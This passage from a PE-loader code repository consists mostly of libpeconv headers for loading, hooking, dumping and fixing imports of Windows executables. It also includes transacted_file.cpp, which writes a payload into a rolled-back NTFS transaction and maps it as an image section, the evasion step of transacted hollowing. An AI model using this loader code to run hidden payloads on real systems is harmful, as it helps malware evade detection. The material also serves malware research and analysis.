12 | /** 13 | Reads PE from the given buffer into memory and maps it into vitual format. 14 | (Automatic raw to virtual conversion). 15 | If the executable flag is true, the PE file is loaded into executable memory. 16 | If the relocate flag is true, applies relocations. Does not load imports. 17 | Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer. 18 | */ 19 | BYTE* load_pe_module(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, bool executable, bool relocate); 20 | 21 | /** 22 | Reads PE from the given file into memory and maps it into vitual format. 23 | (Automatic raw to virtual conversion). 24 | If the executable flag is true, the PE file is loaded into executable memory. 25 | If the relocate flag is true, applies relocations. Does not load imports. 26 | Automatically allocates buffer of the needed size (the size is returned in outputSize). The buffer can be freed by the function free_pe_buffer. 27 | */ 28 | BYTE* load_pe_module(const char *filename, OUT size_t &v_size, bool executable, bool relocate); 29 | 30 | /** 31 | Loads full PE from the raw buffer in a way in which it can be directly executed: remaps to virual format, applies relocations, loads imports. 32 | Allows for supplying custom function resolver. 33 | */ 34 | BYTE* load_pe_executable(BYTE* dllRawData, size_t r_size, OUT size_t &v_size, t_function_resolver* import_resolver=NULL); 35 | 36 | /** 37 | Loads full PE from file in a way in which it can be directly executed: remaps to virual format, applies relocations, loads imports. 38 | Allows for supplying custom function resolver. 39 | */ 40 | BYTE* load_pe_executable(const char *filename, OUT size_t &v_size, t_function_resolver* import_resolver=NULL); 41 | 42 | };// namespace peconv 43 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/tls_parser.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions related to TLS Callbacks 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | namespace peconv { 12 | 13 | /** 14 | A helper function, normalizing virtual addresses. It automatically detects if the given virtual address is VA or RVA, and converts it into RVA 15 | \param imgBase : the base address to which the module was relocated 16 | \param imgSize : the size of the image 17 | \param virtualAddr : the virtual address (RVA or VA) that we want to convert (within the module described by imgBase and imgSize) 18 | \param outRVA : the output of the conversion (RVA) 19 | \return true if the conversion was successful, false otherwise 20 | */ 21 | bool virtual_addr_to_rva(IN const ULONGLONG imgBase, IN const DWORD imgSize, IN ULONGLONG virtualAddr, OUT DWORD &outRVA); 22 | 23 | /** 24 | A function listing RVAs of all TLS callbacks that are present in the given module. 25 | \param modulePtr : pointer to the buffer with the PE in a Virtual format, relocated to the load base 26 | \param moduleSize : size of the given module (if 0 given, the imageSize from the PE headers will be used) 27 | \param tls_callbacks : a vector of TLS callbacks addresses (as given in the TLS table) 28 | \return number of TLS callbacks added to the list 29 | */ 30 | size_t list_tls_callbacks(IN PVOID modulePtr, IN size_t moduleSize, OUT std::vector &tls_callbacks); 31 | 32 | /** 33 | A function running all the TLS callbacks that are present in the given module, one by one. 34 | \param modulePtr : pointer to the buffer with the PE in a Virtual format, relocated to the load base 35 | \param moduleSize : size of the given module (if 0 given, the imageSize from the PE headers will be used) 36 | \param dwReason : a parameter (dwReason) that will be passed to the callback function 37 | \return number of TLS callbacks executed 38 | */ 39 | size_t run_tls_callbacks(IN PVOID modulePtr, IN size_t moduleSize=0, IN DWORD dwReason = DLL_PROCESS_ATTACH); 40 | 41 | }; //namespace peconv 42 | -------------------------------------------------------------------------------- /PELoader/PELoader/PELoader.filters: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/file_util.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions related to operations on files. Wrappers for read/write. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | #include "buffer_util.h" 12 | 13 | namespace peconv { 14 | 15 | /** 16 | Maps a file with the given path and copies its raw content into the output buffer. 17 | If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file. 18 | The actual read size is returned back in read_size. 19 | Automatically allocates a buffer of the required size. 20 | */ 21 | peconv::UNALIGNED_BUF load_file(IN const char *filename, OUT size_t &r_size); 22 | 23 | /** 24 | Reads a raw content of the file with the given path. 25 | If read_size is not zero, it reads maximum read_size of bytes. If read_size is zero, it reads the full file. 26 | The actual read size is returned back in read_size. 27 | Automatically allocates a buffer of the required size. 28 | */ 29 | peconv::UNALIGNED_BUF read_from_file(IN const char *path, IN OUT size_t &read_size); 30 | 31 | /** 32 | Writes a buffer of bytes into a file of given path. 33 | \param path : the path to the output file 34 | \param dump_data : the buffer to be dumped 35 | \param dump_size : the size of data to be dumped (in bytes) 36 | \return true if succeeded, false if failed 37 | */ 38 | bool dump_to_file(IN const char *path, IN PBYTE dump_data, IN size_t dump_size); 39 | 40 | /** 41 | Free the buffer allocated by load_file/read_from_file 42 | */ 43 | void free_file(IN peconv::UNALIGNED_BUF buffer); 44 | 45 | /** 46 | Get the file name from the given path. 47 | */ 48 | std::string get_file_name(IN const std::string full_path); 49 | 50 | /** 51 | Get the directory name from the given path. It assumes that a directory name always ends with a separator ("/" or "\") 52 | */ 53 | std::string get_directory_name(IN const std::string full_path); 54 | 55 | /** 56 | Find a position of possible file extension. If not found, gives string length. 57 | */ 58 | size_t find_extension_pos(IN const std::string str); 59 | 60 | }; //namespace peconv 61 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/pe_dumper.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Dumping PE from the memory buffer into a file. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include "exports_mapper.h" 10 | 11 | namespace peconv { 12 | 13 | /** 14 | A mode in which the PE fille be dumped. 15 | */ 16 | typedef enum { 17 | PE_DUMP_AUTO = 0, /**< autodetect which dump mode is the most suitable for the given input */ 18 | PE_DUMP_VIRTUAL,/**< dump as it is in the memory (virtual) */ 19 | PE_DUMP_UNMAP, /**< convert to the raw format: using raw sections' headers */ 20 | PE_DUMP_REALIGN, /**< convert to the raw format: by realigning raw sections' headers to be the same as virtual (useful if the PE was unpacked in memory) */ 21 | PE_DUMP_MODES_COUNT /**< total number of the dump modes */ 22 | } t_pe_dump_mode; 23 | 24 | /** 25 | Detect dump mode that is the most suitable for the given input. 26 | \param buffer : the buffer containing the PE to be dumped. 27 | \param buffer_size : the size of the given buffer 28 | */ 29 | t_pe_dump_mode detect_dump_mode(IN const BYTE* buffer, IN size_t buffer_size); 30 | 31 | /** 32 | Dumps PE from the fiven buffer into a file. It expects the module base and size to be given. 33 | \param outputFilePath : name of the file where the dump should be saved 34 | \param buffer : the buffer containing the PE to be dumped. WARNING: the buffer may be preprocessed before dumping. 35 | \param buffer_size : the size of the given buffer 36 | \param module_base : the base to which the PE buffer was relocated 37 | \param dump_mode : specifies in which format the PE should be dumped. If the mode was set to PE_DUMP_AUTO, it autodetects mode and returns the detected one. 38 | \param exportsMap : optional. If exportsMap is supplied, it will try to recover destroyed import table of the PE, basing on the supplied map of exported functions. 39 | */ 40 | bool dump_pe(IN const char *outputFilePath, 41 | IN OUT BYTE* buffer, 42 | IN size_t buffer_size, 43 | IN const ULONGLONG module_base, 44 | IN OUT t_pe_dump_mode &dump_mode, 45 | IN OPTIONAL const peconv::ExportsMapper* exportsMap = nullptr 46 | ); 47 | 48 | };// namespace peconv 49 | -------------------------------------------------------------------------------- /PELoader/PELoader/transacted_file.cpp: -------------------------------------------------------------------------------- 1 | #include "transacted_file.h" 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #include "ntddk.h" 9 | 10 | #pragma comment(lib, "KtmW32.lib") 11 | #pragma comment(lib, "Ntdll.lib") 12 | 13 | HANDLE make_transacted_section(wchar_t* dummy_name, BYTE* payladBuf, DWORD payloadSize) 14 | { 15 | DWORD options, isolationLvl, isolationFlags, timeout; 16 | options = isolationLvl = isolationFlags = timeout = 0; 17 | 18 | HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr); 19 | if (hTransaction == INVALID_HANDLE_VALUE) { 20 | std::cerr << "Failed to create transaction!" << std::endl; 21 | return INVALID_HANDLE_VALUE; 22 | } 23 | HANDLE hTransactedFile = CreateFileTransactedW( 24 | dummy_name, 25 | GENERIC_WRITE | GENERIC_READ, 26 | 0, 27 | NULL, 28 | CREATE_ALWAYS, 29 | FILE_ATTRIBUTE_NORMAL, 30 | NULL, 31 | hTransaction, 32 | NULL, 33 | NULL 34 | ); 35 | if (hTransactedFile == INVALID_HANDLE_VALUE) { 36 | std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl; 37 | return INVALID_HANDLE_VALUE; 38 | } 39 | 40 | DWORD writtenLen = 0; 41 | if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) { 42 | std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl; 43 | return INVALID_HANDLE_VALUE; 44 | } 45 | 46 | HANDLE hSection = nullptr; 47 | NTSTATUS status = NtCreateSection(&hSection, 48 | SECTION_ALL_ACCESS, 49 | NULL, 50 | 0, 51 | PAGE_READONLY, 52 | SEC_IMAGE, 53 | hTransactedFile 54 | ); 55 | if (status != STATUS_SUCCESS) { 56 | std::cerr << "NtCreateSection failed" << std::endl; 57 | return INVALID_HANDLE_VALUE; 58 | } 59 | std::cout << "[*] Created a TxF transaction\n"; 60 | CloseHandle(hTransactedFile); 61 | hTransactedFile = nullptr; 62 | 63 | if (RollbackTransaction(hTransaction) == FALSE) { 64 | std::cerr << "RollbackTransaction failed: " << std::hex << GetLastError() << std::endl; 65 | return INVALID_HANDLE_VALUE; 66 | } 67 | CloseHandle(hTransaction); 68 | hTransaction = nullptr; 69 | 70 | return hSection; 71 | } 72 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/delayed_imports_loader.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Parsing and filling the Delayload Import Table. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "pe_hdrs_helper.h" 11 | #include "function_resolver.h" 12 | 13 | #if (defined(_WIN32_WINNT) && _WIN32_WINNT > 0x0601) || __MINGW32__ //Windows SDK version 6.1 (Windows 7) 14 | #define DELAYLOAD_IMPORTS_DEFINED 15 | #endif 16 | 17 | #ifndef DELAYLOAD_IMPORTS_DEFINED 18 | #include "pshpack4.h" 19 | 20 | typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR { 21 | union { 22 | DWORD AllAttributes; 23 | struct { 24 | DWORD RvaBased : 1; // Delay load version 2 25 | DWORD ReservedAttributes : 31; 26 | } DUMMYSTRUCTNAME; 27 | } Attributes; 28 | 29 | DWORD DllNameRVA; // RVA to the name of the target library (NULL-terminate ASCII string) 30 | DWORD ModuleHandleRVA; // RVA to the HMODULE caching location (PHMODULE) 31 | DWORD ImportAddressTableRVA; // RVA to the start of the IAT (PIMAGE_THUNK_DATA) 32 | DWORD ImportNameTableRVA; // RVA to the start of the name table (PIMAGE_THUNK_DATA::AddressOfData) 33 | DWORD BoundImportAddressTableRVA; // RVA to an optional bound IAT 34 | DWORD UnloadInformationTableRVA; // RVA to an optional unload info table 35 | DWORD TimeDateStamp; // 0 if not bound, 36 | // Otherwise, date/time of the target DLL 37 | 38 | } IMAGE_DELAYLOAD_DESCRIPTOR, *PIMAGE_DELAYLOAD_DESCRIPTOR; 39 | 40 | typedef const IMAGE_DELAYLOAD_DESCRIPTOR *PCIMAGE_DELAYLOAD_DESCRIPTOR; 41 | 42 | #include "poppack.h" 43 | #endif 44 | 45 | namespace peconv { 46 | 47 | /** 48 | Get the Delayload Imports directory. Returns the pointer to the first descriptor. The size of the directory is passed via variable dir_size. 49 | */ 50 | IMAGE_DELAYLOAD_DESCRIPTOR* get_delayed_imps(IN const BYTE* modulePtr, IN const size_t moduleSize, OUT size_t &dir_size); 51 | 52 | /** 53 | Fill the Delayload Imports in the given module. 54 | \param modulePtr : the pointer to the module where the imports needs to be filled. 55 | \param moduleBase : the base to which the module was relocated, it may (or not) be the same as modulePtr 56 | \param func_resolver : the resolver that will be used for loading the imports 57 | \return : true if resolving all succeeded, false otherwise 58 | */ 59 | bool load_delayed_imports(BYTE* modulePtr, const ULONGLONG moduleBase, t_function_resolver* func_resolver = nullptr); 60 | 61 | }; // namespace peconv 62 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/buffer_util.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Definitions of the used buffer types. Functions for their allocation and deallocation. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #define MAX_DWORD 0xffffffff 11 | #define MAX_WORD 0xffff 12 | #define MASK_TO_DWORD(val) ((val < MAX_DWORD) ? (val & MAX_DWORD) : MAX_DWORD) 13 | #define MASK_TO_WORD(val) ((val < MAX_WORD) ? (val & MAX_WORD) : MAX_WORD) 14 | 15 | namespace peconv { 16 | 17 | /** 18 | Validates pointers, checks if the particular field is inside the given buffer. Sizes must be given in bytes. 19 | \param buffer_bgn : the start address of the buffer 20 | \param buffer_size : the size of the buffer 21 | \param field_bgn : the start address of the field 22 | \param field_size : the size of the field 23 | \return true if the field (defined by its start address: field_bgn, and size: field_size) is contained within the given buffer 24 | (defined by its start address: buffer_bgn, and size: buffer_size). 25 | false otherwise 26 | */ 27 | bool validate_ptr( 28 | IN const void* buffer_bgn, 29 | IN SIZE_T buffer_size, 30 | IN const void* field_bgn, 31 | IN SIZE_T field_size 32 | ); 33 | 34 | //----------------------------------------------------------------------------------- 35 | // 36 | // supported buffers: 37 | // 38 | /** 39 | A buffer allocated on the heap of a process, not aligned to the beginning of a memory page. 40 | */ 41 | typedef PBYTE UNALIGNED_BUF; 42 | 43 | /** 44 | A buffer allocated in a virtual space of a process, aligned to the beginning of a memory page. 45 | */ 46 | typedef PBYTE ALIGNED_BUF; 47 | 48 | // 49 | // alloc/free unaligned buffers: 50 | // 51 | /** 52 | Allocates a buffer on the heap. Can be used in the cases when the buffer does not have to start at the beginning of a page. 53 | */ 54 | UNALIGNED_BUF alloc_unaligned(size_t buf_size); 55 | 56 | // 57 | /** 58 | Frees buffer allocated by alloc_unaligned. 59 | */ 60 | void free_unaligned(UNALIGNED_BUF section_buffer); 61 | 62 | // 63 | // alloc/free aligned buffers: 64 | // 65 | 66 | /** 67 | Allocates a buffer of a virtual memory (using VirtualAlloc). Can be used in the cases when the buffer have to be aligned to the beginning of a page. 68 | */ 69 | ALIGNED_BUF alloc_aligned(size_t buffer_size, DWORD protect, ULONGLONG desired_base=NULL); 70 | 71 | /** 72 | Frees buffer allocated by alloc_aligned. 73 | */ 74 | bool free_aligned(ALIGNED_BUF buffer, size_t buffer_size=0); 75 | 76 | //PE buffers (wrappers) 77 | 78 | /** 79 | Allocates an aligned buffer for a PE file. 80 | */ 81 | ALIGNED_BUF alloc_pe_buffer(size_t buffer_size, DWORD protect, ULONGLONG desired_base=NULL); 82 | 83 | /** 84 | Free the memory allocated with alloc_pe_buffer. 85 | */ 86 | bool free_pe_buffer(ALIGNED_BUF buffer, size_t buffer_size=0); 87 | 88 | }; //namespace peconv 89 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/imports_loader.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Parsing and filling the Import Table. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | #include "pe_hdrs_helper.h" 12 | #include "function_resolver.h" 13 | #include "exports_mapper.h" 14 | 15 | namespace peconv { 16 | 17 | /** 18 | A class defining a callback that will be executed when the next imported function was found 19 | */ 20 | class ImportThunksCallback 21 | { 22 | public: 23 | ImportThunksCallback(BYTE* _modulePtr, size_t _moduleSize) 24 | : modulePtr(_modulePtr), moduleSize(_moduleSize) 25 | { 26 | this->is64b = is64bit((BYTE*)modulePtr); 27 | } 28 | 29 | /** 30 | A callback that will be executed by process_import_table when the next imported function was found 31 | \param libName : the pointer to the DLL name 32 | \param origFirstThunkPtr : the pointer to the Original First Thunk 33 | \param firstThunkPtr : the pointer to the First Thunk 34 | \return : true if processing succeeded, false otherwise 35 | */ 36 | virtual bool processThunks(LPSTR libName, ULONG_PTR origFirstThunkPtr, ULONG_PTR firstThunkPtr) = 0; 37 | 38 | protected: 39 | BYTE* modulePtr; 40 | size_t moduleSize; 41 | bool is64b; 42 | }; 43 | 44 | 45 | struct ImportsCollection 46 | { 47 | public: 48 | ImportsCollection() {}; 49 | ~ImportsCollection() 50 | { 51 | std::map::iterator itr; 52 | for (itr = thunkToFunc.begin(); itr != thunkToFunc.end(); ++itr) { 53 | peconv::ExportedFunc* exp = itr->second; 54 | if (!exp) continue; 55 | delete exp; 56 | } 57 | thunkToFunc.clear(); 58 | } 59 | 60 | size_t size() 61 | { 62 | return thunkToFunc.size(); 63 | } 64 | 65 | std::map thunkToFunc; 66 | }; 67 | 68 | /** 69 | Process the given PE's import table and execute the callback each time when the new imported function was found 70 | \param modulePtr : a pointer to the loded PE (in virtual format) 71 | \param moduleSize : a size of the supplied PE 72 | \param callback : a callback that will be executed to process each imported function 73 | \return : true if processing succeeded, false otherwise 74 | */ 75 | bool process_import_table(IN BYTE* modulePtr, IN SIZE_T moduleSize, IN ImportThunksCallback *callback); 76 | 77 | /** 78 | Fills imports of the given PE with the help of the defined functions resolver. 79 | \param modulePtr : a pointer to the loded PE (in virtual format) 80 | \param func_resolver : a resolver that will be used to fill the thunk of the import 81 | \return : true if loading all functions succeeded, false otherwise 82 | */ 83 | bool load_imports(BYTE* modulePtr, t_function_resolver* func_resolver=nullptr); 84 | 85 | /** 86 | Checks if the given PE has a valid import table. 87 | */ 88 | bool has_valid_import_table(const PBYTE modulePtr, size_t moduleSize); 89 | 90 | /** 91 | Checks if the given lib_name is a valid DLL name. 92 | A valid name must contain printable characters. Empty name is also acceptable (may have been erased). 93 | */ 94 | bool is_valid_import_name(const PBYTE modulePtr, const size_t moduleSize, LPSTR lib_name); 95 | 96 | /** 97 | * Collects all the Import Thunks RVAs (via which Imports are called) 98 | */ 99 | bool collect_thunks(IN BYTE* modulePtr, IN SIZE_T moduleSize, OUT std::set& thunk_rvas); 100 | 101 | bool collect_imports(IN BYTE* modulePtr, IN SIZE_T moduleSize, OUT ImportsCollection &collection); 102 | 103 | }; // namespace peconv 104 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/imports_uneraser.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief A definition of ImportsUneraser class - for recovery of a partialy erased Import Table. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | #include "fix_imports.h" 17 | #include "caves.h" 18 | 19 | namespace peconv { 20 | 21 | /** 22 | A class responsible for recovering the partially erased Import Table from the PE. 23 | */ 24 | class ImportsUneraser 25 | { 26 | public: 27 | ImportsUneraser(PVOID _modulePtr, size_t _moduleSize) 28 | : modulePtr((PBYTE)_modulePtr), moduleSize(_moduleSize) 29 | { 30 | is64 = peconv::is64bit((BYTE*)modulePtr); 31 | } 32 | 33 | /** 34 | Fill the imported functions' names in the given Import Descriptor, using the given coverage. 35 | Collect addressees of functions that couldn't be filled with the given mapping. 36 | \param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set 37 | \param dllCoverage : a mapping associating addresses with the corresponding exports from available DLLs 38 | \param not_covered : a set of addresses that could not be found in the supplied mapping 39 | \return true if succeeded 40 | */ 41 | bool uneraseDllImports(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, IN ImportedDllCoverage &dllCoverage, OUT OPTIONAL ImpsNotCovered* not_covered); 42 | 43 | /** 44 | Recover the imported DLL name in the given Import Descriptor, filling it with the given dll_name. 45 | */ 46 | bool uneraseDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name); 47 | 48 | protected: 49 | /** 50 | Copy the given DLL name into the given IMAGE_IMPORT_DESCRIPTOR. Validates the data correctness before writing. 51 | \param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the DLL name should be set 52 | \param dll_name : the DLL name that needs to be written into the lib_desc 53 | \return true if succeeded 54 | */ 55 | bool writeFoundDllName(IMAGE_IMPORT_DESCRIPTOR* lib_desc, const std::string &dll_name); 56 | 57 | /** 58 | Fill the names of imported functions with names of the prepared mapping. 59 | Collect addressees of functions that couldn't be filled with the given mapping. 60 | \param lib_desc : the IMAGE_IMPORT_DESCRIPTOR where the functions' names should be set 61 | \param ordinal_flag : the flag that is used to recognize import by ordinal (32 or 64 bit) 62 | \param addr_to_func : a mapping assigning functions' addresses to their definitions (names etc.) 63 | \param not_covered : a set of addresses that could not be found in the supplied mapping 64 | \return true if succeeded 65 | */ 66 | template 67 | bool fillImportNames(IN OUT IMAGE_IMPORT_DESCRIPTOR* lib_desc, 68 | IN const FIELD_T ordinal_flag, 69 | IN std::map> &addr_to_func, 70 | OUT OPTIONAL ImpsNotCovered* not_covered 71 | ); 72 | 73 | template 74 | bool findNameInBinaryAndFill(IMAGE_IMPORT_DESCRIPTOR* lib_desc, 75 | LPVOID call_via_ptr, 76 | LPVOID thunk_ptr, 77 | const FIELD_T ordinal_flag, 78 | std::map> &addr_to_func 79 | ); 80 | 81 | /** 82 | Fill the function data into the given IMAGE_THUNK_DATA. 83 | \param desc : the poiner to IMAGE_THUNK_DATA that will be filled 84 | \param ordinal_flag : an ordinal flag: 32 or 64 bit 85 | \param foundFunc : the ExportedFunc that will be used for filling the desc 86 | */ 87 | template 88 | bool writeFoundFunction(IMAGE_THUNK_DATA_T* desc, const FIELD_T ordinal_flag, const ExportedFunc &foundFunc); 89 | 90 | PBYTE modulePtr; 91 | size_t moduleSize; 92 | bool is64; 93 | }; 94 | } 95 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/fix_imports.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions and classes responsible for fixing Import Table. A definition of ImportedDllCoverage class. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | #include "pe_hdrs_helper.h" 18 | #include "exports_lookup.h" 19 | #include "exports_mapper.h" 20 | 21 | #define MIN_DLL_LEN 5 22 | 23 | namespace peconv { 24 | 25 | /** 26 | a helper class that allows to store information about functions that could not be covered by the given mapping 27 | */ 28 | class ImpsNotCovered 29 | { 30 | public: 31 | ImpsNotCovered() {} 32 | ~ImpsNotCovered() {} 33 | 34 | /* 35 | Number of stored records 36 | */ 37 | size_t count() { return thunkToAddr.size(); } 38 | 39 | void insert(ULONGLONG thunk, ULONGLONG searchedAddr); 40 | 41 | std::map thunkToAddr; //addresses of not recovered functions with their thunks (call_via) 42 | }; 43 | 44 | /** 45 | fix imports in the given module, using the given map of all available exports 46 | */ 47 | bool fix_imports(IN OUT PVOID modulePtr, IN size_t moduleSize, IN const peconv::ExportsMapper& exportsMap, OUT OPTIONAL peconv::ImpsNotCovered* notCovered); 48 | 49 | /** 50 | a helper class that allows to find out where the functions are imported from 51 | */ 52 | class ImportedDllCoverage 53 | { 54 | public: 55 | /** 56 | A constructor of an object of ImportedDllCoverage class. 57 | \param _addresses : the list of filled imports (VAs): the addresses to be covered 58 | \param _exportsMap : the map of the exports of all the loaded DLLs (the space in which we will be searching) 59 | */ 60 | ImportedDllCoverage(std::set& _addresses, const peconv::ExportsMapper& _exportsMap) 61 | : addresses(_addresses), exportsMap(_exportsMap) 62 | { 63 | } 64 | 65 | /** 66 | Checks if all the addresses can be covered by one DLL. If yes, this dll will be saved into: dllName. 67 | \return true if the covering DLL for the addresses was found. false otherwise. 68 | */ 69 | bool findCoveringDll(); 70 | 71 | /** 72 | Maps the addresses from the set to functions from the given DLL. 73 | Results are saved into: addrToFunc. 74 | Addresses that could not be covered by the given DLL are saved into notFound. 75 | Before each execution, the content of involved variables is erased. 76 | \param _mappedDllName : the name of the DLL that we will be used to mapping. This DLL is saved into mappedDllName. 77 | \return a number of covered functions 78 | */ 79 | size_t mapAddressesToFunctions(const std::string &_mappedDllName); 80 | 81 | /** 82 | Check if the functions mapping is complete. 83 | \return the status: true if all the addresses are mapped to specific exports, false if not 84 | */ 85 | bool isMappingComplete() { return (addresses.size() == addrToFunc.size()) ? true : false; } 86 | 87 | /** 88 | A mapping associating each of the covered function addresses with the set of exports (from mapped DLL) that cover this address 89 | */ 90 | std::map> addrToFunc; 91 | 92 | /** 93 | Addresses of the functions not found in the mapped DLL 94 | */ 95 | std::set notFound; 96 | 97 | /** 98 | Name of the covering DLL 99 | */ 100 | std::string dllName; 101 | 102 | protected: 103 | /** 104 | A name of the DLL that was used for mapping. In a typical scenario it will be the same as covering DLL, but may be set different. 105 | */ 106 | std::string mappedDllName; 107 | 108 | /** 109 | A supplied set of the addresses of imported functions. 110 | Those addressed will be covered (associated with the corresponding exports from available DLLs, defined by exportsMap). 111 | */ 112 | std::set &addresses; 113 | 114 | /** 115 | A supplied exportsMap. Only used as a lookup, no changes applied. 116 | */ 117 | const peconv::ExportsMapper& exportsMap; 118 | }; 119 | } 120 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/hooks.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Functions related to hooking the loaded PE. Reditecting/replacing a functions with another. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include "function_resolver.h" 10 | 11 | #include 12 | #include 13 | #include 14 | #include "peconv/buffer_util.h" 15 | 16 | namespace peconv { 17 | 18 | /** 19 | A buffer storing a binary patch, that can be applied on a module. Used as a restorable backup in case of function patching. 20 | */ 21 | class PatchBackup { 22 | public: 23 | /** 24 | Creates an empty backup. 25 | */ 26 | PatchBackup() 27 | : buffer(nullptr), bufferSize(0), sourcePtr(nullptr) 28 | { 29 | } 30 | 31 | ~PatchBackup() { 32 | deleteBackup(); 33 | } 34 | 35 | /** 36 | Destroys the backup and resets internal fields. 37 | */ 38 | void deleteBackup() 39 | { 40 | if (buffer) { 41 | delete[] buffer; 42 | bufferSize = 0; 43 | sourcePtr = nullptr; 44 | } 45 | } 46 | 47 | /** 48 | Reads bytes from the binary to the backup. The source buffer must be within the current process. 49 | */ 50 | bool makeBackup(BYTE *patch_ptr, size_t patch_size); 51 | 52 | /** 53 | Applies the backup back to the pointer from which it was read. 54 | */ 55 | bool applyBackup(); 56 | 57 | /** 58 | Checks if the buffer was filled. 59 | */ 60 | bool isBackup() 61 | { 62 | return buffer != nullptr; 63 | } 64 | 65 | protected: 66 | BYTE *buffer; 67 | size_t bufferSize; 68 | 69 | BYTE *sourcePtr; 70 | }; 71 | 72 | 73 | /** 74 | A functions resolver that can be used for hooking IAT. Allows for defining functions that are supposed to be replaced. 75 | */ 76 | class hooking_func_resolver : peconv::default_func_resolver { 77 | public: 78 | /** 79 | Define a function that will be replaced. 80 | \param name : a name of the function that will be replaced 81 | \param function : an address of the replacement function 82 | */ 83 | void add_hook(std::string name, FARPROC function) 84 | { 85 | hooks_map[name] = function; 86 | } 87 | 88 | /** 89 | Get the address (VA) of the function with the given name, from the given DLL. If the function was hooked, it retrieves the address of the replacement function instead. 90 | \param func_name : the name of the function 91 | \param lib_name : the name of the DLL 92 | \return Virtual Address of the exported function, or the address of the replacement function. 93 | */ 94 | virtual FARPROC resolve_func(LPSTR lib_name, LPSTR func_name); 95 | 96 | private: 97 | std::map hooks_map; 98 | }; 99 | 100 | /** 101 | Installs inline hook at the given ptr. Returns the number of bytes overwriten. 102 | 64 bit version. 103 | \param ptr : pointer to the function to be replaced 104 | \param new_offset : VA of the new function 105 | \param backup : (optional) backup that can be used to reverse the changes 106 | \return size of the applied patch 107 | */ 108 | size_t redirect_to_local64(void *ptr, ULONGLONG new_offset, PatchBackup* backup = nullptr); 109 | 110 | /** 111 | Installs inline hook at the given ptr. Returns the number of bytes overwriten. 112 | 32 bit version. 113 | \param ptr : pointer to the function to be replaced 114 | \param new_offset : VA of the new function 115 | \param backup : (optional) backup that can be used to reverse the changes 116 | \return size of the applied patch 117 | */ 118 | size_t redirect_to_local32(void *ptr, DWORD new_offset, PatchBackup* backup = nullptr); 119 | 120 | /** 121 | Installs inline hook at the given ptr. Returns the number of bytes overwriten. 122 | Uses bitness of the current applications for the bitness of the intalled hook. 123 | \param ptr : pointer to the function to be replaced 124 | \param new_function_ptr : pointer to the new function 125 | \param backup : (optional) backup that can be used to reverse the changes 126 | \return size of the applied patch 127 | */ 128 | size_t redirect_to_local(void *ptr, void* new_function_ptr, PatchBackup* backup = nullptr); 129 | 130 | /** 131 | Replaces a target address of JMP [DWORD] or CALL [DWORD] 132 | */ 133 | bool replace_target(BYTE *ptr, ULONGLONG dest_addr); 134 | 135 | };//namespace peconv 136 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/exported_func.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief A definition of ExportedFunc class - used for storing the details of the exported function. Helper functions related to the export parsing. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | namespace peconv { 14 | 15 | /** 16 | Check if the pointer redirects to a forwarder - if so, return the length, otherwise return 0. 17 | */ 18 | size_t forwarder_name_len(BYTE* fPtr); 19 | 20 | /** 21 | get the DLL name without the extension 22 | */ 23 | std::string get_dll_shortname(const std::string& str); 24 | 25 | /** 26 | Get the function name from the string in a format: DLL_name.function_name 27 | */ 28 | std::string get_func_name(const std::string& str); 29 | 30 | /** 31 | Convert ordinal value to the ordinal string (in a format #[ordinal]) 32 | */ 33 | std::string ordinal_to_string(DWORD func_ordinal); 34 | 35 | /** 36 | Check if the given string is in a format typical for storing ordinals (#[ordinal]) 37 | */ 38 | bool is_ordinal_string(const std::string& str); 39 | 40 | /** 41 | Get the ordinal value from the ordinal string (in a format 